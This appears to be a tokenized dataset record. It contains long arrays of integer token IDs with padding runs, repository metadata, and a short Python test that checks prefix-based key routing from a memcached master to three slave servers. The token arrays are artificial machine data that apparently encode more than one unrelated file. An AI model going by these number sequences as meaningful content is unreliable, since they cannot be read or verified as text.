[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 259, 1898, 6029, 28356, 15285, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 3, 199, 646, 7534, 199, 504, 3031, 14, 7626, 14, 505, 492, 603, 26567, 199, 646, 7392, 199, 646, 14196, 199, 646, 747, 199, 646, 2196, 199, 646, 30475, 199, 646, 1059, 199, 646, 984, 421, 199, 646, 19395, 1258, 14, 86, 18, 63, 16, 14, 1258, 199, 17705, 275, 408, 10607, 14260, 4390, 436, 16685, 2285, 4079, 641, 282, 14689, 570, 14, 199, 199, 3917, 1255, 641, 314, 2011, 1591, 465, 2606, 8361, 12, 314, 4628, 1526, 911, 5847, 199, 1235, 1999, 2501, 379, 687, 1182, 6839, 15, 19143, 15, 19143, 14, 2190, 334, 692, 1265, 1172, 2879, 370, 642, 199, 493, 680, 199, 199, 3917, 1255, 641, 282, 3365, 1591, 12, 1265, 883, 986, 6235, 367, 2606, 8361, 701, 199, 6031, 436, 4843, 316, 314, 16655, 63, 8803, 436, 16655, 63, 21054, 3734, 199, 3669, 503, 701, 4260, 436, 4843, 316, 314, 4403, 63, 52, 31718, 63, 2339, 12, 4403, 63, 11958, 12, 199, 3100, 63, 9032, 12, 436, 4403, 63, 5580, 63, 2632, 3734, 2860, 14, 199, 199, 1918, 14689, 570, 1475, 365, 465, 11924, 26, 199, 25603, 12, 31164, 12, 2473, 12, 2123, 199, 199, 7304, 787, 11673, 701, 10029, 14, 3645, 4270, 9344, 334, 531, 370, 6313, 1338, 199, 9099, 1395, 282, 10029, 1041, 199, 2826, 63, 5798, 3177, 63, 13945, 275, 298, 1944, 6235, 367, 2606, 8361, 2741, 436, 7179, 4293, 506, 1911, 2, 199, 3078, 840, 4817, 63, 5569, 275, 1994, 6839, 15, 19143, 15, 19143, 14, 2190, 7, 421, 199, 318, 1104, 63, 1813, 63, 509, 63, 19143, 63, 15226, 8, 1813, 29, 736, 14, 2314, 304, 272, 340, 283, 10486, 63, 8803, 7, 315, 2589, 436, 283, 10486, 63, 21054, 7, 315, 2589, 26, 267, 372, 715, 272, 340, 661, 3100, 63, 52, 31718, 63, 2339, 7, 315, 2589, 436, 267, 283, 3100, 63, 11958, 7, 315, 2589, 436, 267, 283, 3100, 63, 9032, 7, 315, 2589, 436, 267, 283, 3100, 63, 5580, 63, 2632, 7, 315, 2589, 304, 267, 372, 791, 2473, 356, 2589, 459, 3100, 63, 11958, 995, 355, 283, 4647, 63, 354, 356, 2589, 459, 3100, 63, 52, 31718, 63, 2339, 995, 355, 283, 2060, 356, 2589, 459, 3100, 63, 9032, 995, 355, 283, 1178, 63, 633, 356, 2589, 459, 3100, 63, 5580, 63, 2632, 12074, 272, 340, 661, 10486, 63, 8803, 7, 315, 2589, 436, 267, 283, 10486, 63, 21054, 7, 315, 2589, 304, 267, 372, 791, 6520, 356, 2589, 459, 10486, 63, 21054, 995, 355, 283, 1418, 356, 2589, 459, 10486, 63, 8803, 12074, 272, 340, 747, 14, 515, 14, 2444, 8, 3078, 840, 4817, 63, 5569, 304, 267, 1101, 275, 14196, 14, 11090, 15218, 342, 267, 1101, 14, 739, 8, 3078, 840, 4817, 63, 5569, 9, 398, 327, 14196, 7859, 1133, 4691, 1265, 3648, 7645, 1536, 5370, 315, 314, 267, 327, 6186, 3420, 14, 15345, 781, 11496, 282, 2196, 3420, 436, 267, 327, 19687, 641, 314, 6186, 3420, 4733, 316, 4243, 1901, 626, 14, 267, 2005, 63, 2792, 275, 1101, 14, 7786, 3430, 16, 61, 267, 340, 1101, 14, 1989, 63, 1422, 8, 3972, 63, 2792, 12, 283, 2113, 63, 1418, 735, 288, 372, 791, 6520, 356, 283, 1014, 921, 5967, 26, 1276, 13155, 15, 86, 18, 14, 16, 3678, 490, 283, 1418, 356, 1101, 14, 362, 8, 3972, 63, 2792, 12, 283, 2113, 63, 1418, 21004, 272, 372, 756, 421, 199, 318, 3550, 63, 2060, 8, 1267, 304, 272, 8365, 275, 1059, 14, 16415, 435, 1059, 14, 7022, 272, 372, 6522, 904, 779, 2355, 14, 5095, 8, 6574, 9, 367, 671, 315, 1425, 8, 1267, 3948, 421, 199, 318, 664, 63, 3756, 63, 991, 63, 354, 8, 1258, 12, 536, 304, 272, 367, 4719, 315, 1890, 14, 8050, 14, 513, 837, 267, 340, 4719, 14, 354, 508, 536, 26, 288, 372, 4719, 272, 372, 488, 199, 199, 3707, 275, 1052, 199, 25021, 275, 1052, 421, 199, 318, 10299, 63, 3707, 63, 504, 63, 19143, 8, 1258, 304, 272, 2288, 4390, 272, 367, 922, 315, 1890, 14, 3707, 14, 513, 837, 267, 4390, 59, 751, 14, 354, 61, 275, 922, 421, 199, 318, 10299, 63, 25021, 63, 504, 63, 19143, 8, 1258, 304, 272, 2288, 16685, 2285, 272, 367, 8261, 315, 1890, 14, 25021, 14, 513, 837, 267, 16685, 2285, 59, 4647, 14, 354, 61, 275, 8261, 421, 199, 318, 2446, 8, 3020, 29, 1274, 14, 3020, 59, 17, 28847, 272, 2288, 4390, 272, 2288, 16685, 2285, 272, 3066, 63, 8911, 275, 7534, 14, 7963, 5831, 22779, 272, 1680, 2087, 275, 7534, 14, 10730, 8, 1802, 29, 17705, 12, 3147, 9698, 63, 533, 29, 1773, 63, 8911, 9, 272, 1680, 2087, 14, 525, 63, 2094, 360, 16561, 63, 633, 297, 1720, 628, 1563, 2851, 367, 869, 11925, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 4058, 63, 1562, 297, 2574, 1720, 628, 37, 13, 1198, 2287, 367, 2291, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 4737, 63, 493, 297, 1720, 628, 985, 402, 314, 14689, 570, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 1198, 63, 1160, 297, 1720, 628, 985, 402, 314, 325, 13, 1198, 1978, 531, 272, 1680, 2087, 14, 525, 63, 2094, 4517, 3756, 297, 849, 628, 7021, 401, 2574, 1720, 628, 3756, 370 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 259, 1898, 6029, 28356, 15285, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 3, 199, 646, 7534, 199, 504, 3031, 14, 7626, 14, 505, 492, 603, 26567, 199, 646, 7392, 199, 646, 14196, 199, 646, 747, 199, 646, 2196, 199, 646, 30475, 199, 646, 1059, 199, 646, 984, 421, 199, 646, 19395, 1258, 14, 86, 18, 63, 16, 14, 1258, 199, 17705, 275, 408, 10607, 14260, 4390, 436, 16685, 2285, 4079, 641, 282, 14689, 570, 14, 199, 199, 3917, 1255, 641, 314, 2011, 1591, 465, 2606, 8361, 12, 314, 4628, 1526, 911, 5847, 199, 1235, 1999, 2501, 379, 687, 1182, 6839, 15, 19143, 15, 19143, 14, 2190, 334, 692, 1265, 1172, 2879, 370, 642, 199, 493, 680, 199, 199, 3917, 1255, 641, 282, 3365, 1591, 12, 1265, 883, 986, 6235, 367, 2606, 8361, 701, 199, 6031, 436, 4843, 316, 314, 16655, 63, 8803, 436, 16655, 63, 21054, 3734, 199, 3669, 503, 701, 4260, 436, 4843, 316, 314, 4403, 63, 52, 31718, 63, 2339, 12, 4403, 63, 11958, 12, 199, 3100, 63, 9032, 12, 436, 4403, 63, 5580, 63, 2632, 3734, 2860, 14, 199, 199, 1918, 14689, 570, 1475, 365, 465, 11924, 26, 199, 25603, 12, 31164, 12, 2473, 12, 2123, 199, 199, 7304, 787, 11673, 701, 10029, 14, 3645, 4270, 9344, 334, 531, 370, 6313, 1338, 199, 9099, 1395, 282, 10029, 1041, 199, 2826, 63, 5798, 3177, 63, 13945, 275, 298, 1944, 6235, 367, 2606, 8361, 2741, 436, 7179, 4293, 506, 1911, 2, 199, 3078, 840, 4817, 63, 5569, 275, 1994, 6839, 15, 19143, 15, 19143, 14, 2190, 7, 421, 199, 318, 1104, 63, 1813, 63, 509, 63, 19143, 63, 15226, 8, 1813, 29, 736, 14, 2314, 304, 272, 340, 283, 10486, 63, 8803, 7, 315, 2589, 436, 283, 10486, 63, 21054, 7, 315, 2589, 26, 267, 372, 715, 272, 340, 661, 3100, 63, 52, 31718, 63, 2339, 7, 315, 2589, 436, 267, 283, 3100, 63, 11958, 7, 315, 2589, 436, 267, 283, 3100, 63, 9032, 7, 315, 2589, 436, 267, 283, 3100, 63, 5580, 63, 2632, 7, 315, 2589, 304, 267, 372, 791, 2473, 356, 2589, 459, 3100, 63, 11958, 995, 355, 283, 4647, 63, 354, 356, 2589, 459, 3100, 63, 52, 31718, 63, 2339, 995, 355, 283, 2060, 356, 2589, 459, 3100, 63, 9032, 995, 355, 283, 1178, 63, 633, 356, 2589, 459, 3100, 63, 5580, 63, 2632, 12074, 272, 340, 661, 10486, 63, 8803, 7, 315, 2589, 436, 267, 283, 10486, 63, 21054, 7, 315, 2589, 304, 267, 372, 791, 6520, 356, 2589, 459, 10486, 63, 21054, 995, 355, 283, 1418, 356, 2589, 459, 10486, 63, 8803, 12074, 272, 340, 747, 14, 515, 14, 2444, 8, 3078, 840, 4817, 63, 5569, 304, 267, 1101, 275, 14196, 14, 11090, 15218, 342, 267, 1101, 14, 739, 8, 3078, 840, 4817, 63, 5569, 9, 398, 327, 14196, 7859, 1133, 4691, 1265, 3648, 7645, 1536, 5370, 315, 314, 267, 327, 6186, 3420, 14, 15345, 781, 11496, 282, 2196, 3420, 436, 267, 327, 19687, 641, 314, 6186, 3420, 4733, 316, 4243, 1901, 626, 14, 267, 2005, 63, 2792, 275, 1101, 14, 7786, 3430, 16, 61, 267, 340, 1101, 14, 1989, 63, 1422, 8, 3972, 63, 2792, 12, 283, 2113, 63, 1418, 735, 288, 372, 791, 6520, 356, 283, 1014, 921, 5967, 26, 1276, 13155, 15, 86, 18, 14, 16, 3678, 490, 283, 1418, 356, 1101, 14, 362, 8, 3972, 63, 2792, 12, 283, 2113, 63, 1418, 21004, 272, 372, 756, 421, 199, 318, 3550, 63, 2060, 8, 1267, 304, 272, 8365, 275, 1059, 14, 16415, 435, 1059, 14, 7022, 272, 372, 6522, 904, 779, 2355, 14, 5095, 8, 6574, 9, 367, 671, 315, 1425, 8, 1267, 3948, 421, 199, 318, 664, 63, 3756, 63, 991, 63, 354, 8, 1258, 12, 536, 304, 272, 367, 4719, 315, 1890, 14, 8050, 14, 513, 837, 267, 340, 4719, 14, 354, 508, 536, 26, 288, 372, 4719, 272, 372, 488, 199, 199, 3707, 275, 1052, 199, 25021, 275, 1052, 421, 199, 318, 10299, 63, 3707, 63, 504, 63, 19143, 8, 1258, 304, 272, 2288, 4390, 272, 367, 922, 315, 1890, 14, 3707, 14, 513, 837, 267, 4390, 59, 751, 14, 354, 61, 275, 922, 421, 199, 318, 10299, 63, 25021, 63, 504, 63, 19143, 8, 1258, 304, 272, 2288, 16685, 2285, 272, 367, 8261, 315, 1890, 14, 25021, 14, 513, 837, 267, 16685, 2285, 59, 4647, 14, 354, 61, 275, 8261, 421, 199, 318, 2446, 8, 3020, 29, 1274, 14, 3020, 59, 17, 28847, 272, 2288, 4390, 272, 2288, 16685, 2285, 272, 3066, 63, 8911, 275, 7534, 14, 7963, 5831, 22779, 272, 1680, 2087, 275, 7534, 14, 10730, 8, 1802, 29, 17705, 12, 3147, 9698, 63, 533, 29, 1773, 63, 8911, 9, 272, 1680, 2087, 14, 525, 63, 2094, 360, 16561, 63, 633, 297, 1720, 628, 1563, 2851, 367, 869, 11925, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 4058, 63, 1562, 297, 2574, 1720, 628, 37, 13, 1198, 2287, 367, 2291, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 4737, 63, 493, 297, 1720, 628, 985, 402, 314, 14689, 570, 531, 272, 1680, 2087, 14, 525, 63, 2094, 360, 1198, 63, 1160, 297,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hankshz/dockers
memcached/script/test-memcached.py
1
1304
#!/usr/bin/env python3 import time from pymemcache.client.base import Client master = Client(('memcached-master', 11211)) slave1 = Client(('memcached-slave1', 11211)) slave2 = Client(('memcached-slave2', 11211)) slave3 = Client(('memcached-slave3', 11211)) # Invalidate all # mcrouter seems not work properly with pymemcache flush_all slave1.flush_all() slave2.flush_all() slave3.flush_all() # Set & Get from the master master.set('a', '1') assert(master.get('a') == b'1') master.set('b', '2') assert(master.get('b') == b'2') master.set('c', '3') assert(master.get('c') == b'3') master.set('d', '4') assert(master.get('d') == b'4') # Get from the slave1, only string starts with 'a' slave1 = Client(('memcached-slave1', 11211)) assert(slave1.get('a') == b'1') assert(slave1.get('b') == None) assert(slave1.get('c') == None) assert(slave1.get('d') == None) # Get from the slave2, only string starts with 'b' slave2 = Client(('memcached-slave2', 11211)) assert(slave2.get('a') == None) assert(slave2.get('b') == b'2') assert(slave2.get('c') == None) assert(slave2.get('d') == None) # Get from the slave3, only rest of strings slave3 = Client(('memcached-slave3', 11211)) assert(slave3.get('a') == None) assert(slave3.get('b') == None) assert(slave3.get('c') == b'3') assert(slave3.get('d') == b'4')
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 646, 900, 199, 504, 1134, 25835, 14, 1258, 14, 1095, 492, 6810, 199, 199, 4133, 275, 6810, 4725, 32567, 13, 4133, 297, 20240, 845, 430, 199, 12384, 17, 275, 6810, 4725, 32567, 13, 12384, 17, 297, 20240, 845, 430, 199, 12384, 18, 275, 6810, 4725, 32567, 13, 12384, 18, 297, 20240, 845, 430, 199, 12384, 19, 275, 6810, 4725, 32567, 13, 12384, 19, 297, 20240, 845, 430, 199, 199, 3, 1010, 3502, 1006, 199, 3, 16377, 4995, 12237, 440, 1736, 7684, 543, 1134, 25835, 8976, 63, 452, 199, 12384, 17, 14, 4939, 63, 452, 342, 199, 12384, 18, 14, 4939, 63, 452, 342, 199, 12384, 19, 14, 4939, 63, 452, 342, 199, 199, 3, 2494, 1253, 2372, 687, 314, 5288, 199, 4133, 14, 409, 360, 65, 297, 283, 17, 358, 199, 479, 8, 4133, 14, 362, 360, 65, 358, 508, 330, 7, 17, 358, 199, 4133, 14, 409, 360, 66, 297, 283, 18, 358, 199, 479, 8, 4133, 14, 362, 360, 66, 358, 508, 330, 7, 18, 358, 199, 4133, 14, 409, 360, 67, 297, 283, 19, 358, 199, 479, 8, 4133, 14, 362, 360, 67, 358, 508, 330, 7, 19, 358, 199, 4133, 14, 409, 360, 68, 297, 283, 20, 358, 199, 479, 8, 4133, 14, 362, 360, 68, 358, 508, 330, 7, 20, 358, 199, 199, 3, 2372, 687, 314, 15494, 17, 12, 1454, 1059, 9174, 543, 283, 65, 7, 199, 12384, 17, 275, 6810, 4725, 32567, 13, 12384, 17, 297, 20240, 845, 430, 199, 479, 8, 12384, 17, 14, 362, 360, 65, 358, 508, 330, 7, 17, 358, 199, 479, 8, 12384, 17, 14, 362, 360, 66, 358, 508, 488, 9, 199, 479, 8, 12384, 17, 14, 362, 360, 67, 358, 508, 488, 9, 199, 479, 8, 12384, 17, 14, 362, 360, 68, 358, 508, 488, 9, 199, 199, 3, 2372, 687, 314, 15494, 18, 12, 1454, 1059, 9174, 543, 283, 66, 7, 199, 12384, 18, 275, 6810, 4725, 32567, 13, 12384, 18, 297, 20240, 845, 430, 199, 479, 8, 12384, 18, 14, 362, 360, 65, 358, 508, 488, 9, 199, 479, 8, 12384, 18, 14, 362, 360, 66, 358, 508, 330, 7, 18, 358, 199, 479, 8, 12384, 18, 14, 362, 360, 67, 358, 508, 488, 9, 199, 479, 8, 12384, 18, 14, 362, 360, 68, 358, 508, 488, 9, 199, 199, 3, 2372, 687, 314, 15494, 19, 12, 1454, 4618, 402, 3326, 199, 12384, 19, 275, 6810, 4725, 32567, 13, 12384, 19, 297, 20240, 845, 430, 199, 479, 8, 12384, 19, 14, 362, 360, 65, 358, 508, 488, 9, 199, 479, 8, 12384, 19, 14, 362, 360, 66, 358, 508, 488, 9, 199, 479, 8, 12384, 19, 14, 362, 360, 67, 358, 508, 330, 7, 19, 358, 199, 479, 8, 12384, 19, 14, 362, 360, 68, 358, 508, 330, 7, 20, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 646, 900, 199, 504, 1134, 25835, 14, 1258, 14, 1095, 492, 6810, 199, 199, 4133, 275, 6810, 4725, 32567, 13, 4133, 297, 20240, 845, 430, 199, 12384, 17, 275, 6810, 4725, 32567, 13, 12384, 17, 297, 20240, 845, 430, 199, 12384, 18, 275, 6810, 4725, 32567, 13, 12384, 18, 297, 20240, 845, 430, 199, 12384, 19, 275, 6810, 4725, 32567, 13, 12384, 19, 297, 20240, 845, 430, 199, 199, 3, 1010, 3502, 1006, 199, 3, 16377, 4995, 12237, 440, 1736, 7684, 543, 1134, 25835, 8976, 63, 452, 199, 12384, 17, 14, 4939, 63, 452, 342, 199, 12384, 18, 14, 4939, 63, 452, 342, 199, 12384, 19, 14, 4939, 63, 452, 342, 199, 199, 3, 2494, 1253, 2372, 687, 314, 5288, 199, 4133, 14, 409, 360, 65, 297, 283, 17, 358, 199, 479, 8, 4133, 14, 362, 360, 65, 358, 508, 330, 7, 17, 358, 199, 4133, 14, 409, 360, 66, 297, 283, 18, 358, 199, 479, 8, 4133, 14, 362, 360, 66, 358, 508, 330, 7, 18, 358, 199, 4133, 14, 409, 360, 67, 297, 283, 19, 358, 199, 479, 8, 4133, 14, 362, 360, 67, 358, 508, 330, 7, 19, 358, 199, 4133, 14, 409, 360, 68, 297, 283, 20, 358, 199, 479, 8, 4133, 14, 362, 360, 68, 358, 508, 330, 7, 20, 358, 199, 199, 3, 2372, 687, 314, 15494, 17, 12, 1454, 1059, 9174, 543, 283, 65, 7, 199, 12384, 17, 275, 6810, 4725, 32567, 13, 12384, 17, 297, 20240, 845, 430, 199, 479, 8, 12384, 17, 14, 362, 360, 65, 358, 508, 330, 7, 17, 358, 199, 479, 8, 12384, 17, 14, 362, 360, 66, 358, 508, 488, 9, 199, 479, 8, 12384, 17, 14, 362, 360, 67, 358, 508, 488, 9, 199, 479, 8, 12384, 17, 14, 362, 360, 68, 358, 508, 488, 9, 199, 199, 3, 2372, 687, 314, 15494, 18, 12, 1454, 1059, 9174, 543, 283, 66, 7, 199, 12384, 18, 275, 6810, 4725, 32567, 13, 12384, 18, 297, 20240, 845, 430, 199, 479, 8, 12384, 18, 14, 362, 360, 65, 358, 508, 488, 9, 199, 479, 8, 12384, 18, 14, 362, 360, 66, 358, 508, 330, 7, 18, 358, 199, 479, 8, 12384, 18, 14, 362, 360, 67, 358, 508, 488, 9, 199, 479, 8, 12384, 18, 14, 362, 360, 68, 358, 508, 488, 9, 199, 199, 3, 2372, 687, 314, 15494, 19, 12, 1454, 4618, 402, 3326, 199, 12384, 19, 275, 6810, 4725, 32567, 13, 12384, 19, 297, 20240, 845, 430, 199, 479, 8, 12384, 19, 14, 362, 360, 65, 358, 508, 488, 9, 199, 479, 8, 12384, 19, 14, 362, 360, 66, 358, 508, 488, 9, 199, 479, 8, 12384, 19, 14, 362, 360, 67, 358, 508, 330, 7, 19, 358, 199, 479, 8, 12384, 19, 14, 362, 360, 68, 358, 508, 330, 7, 20, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 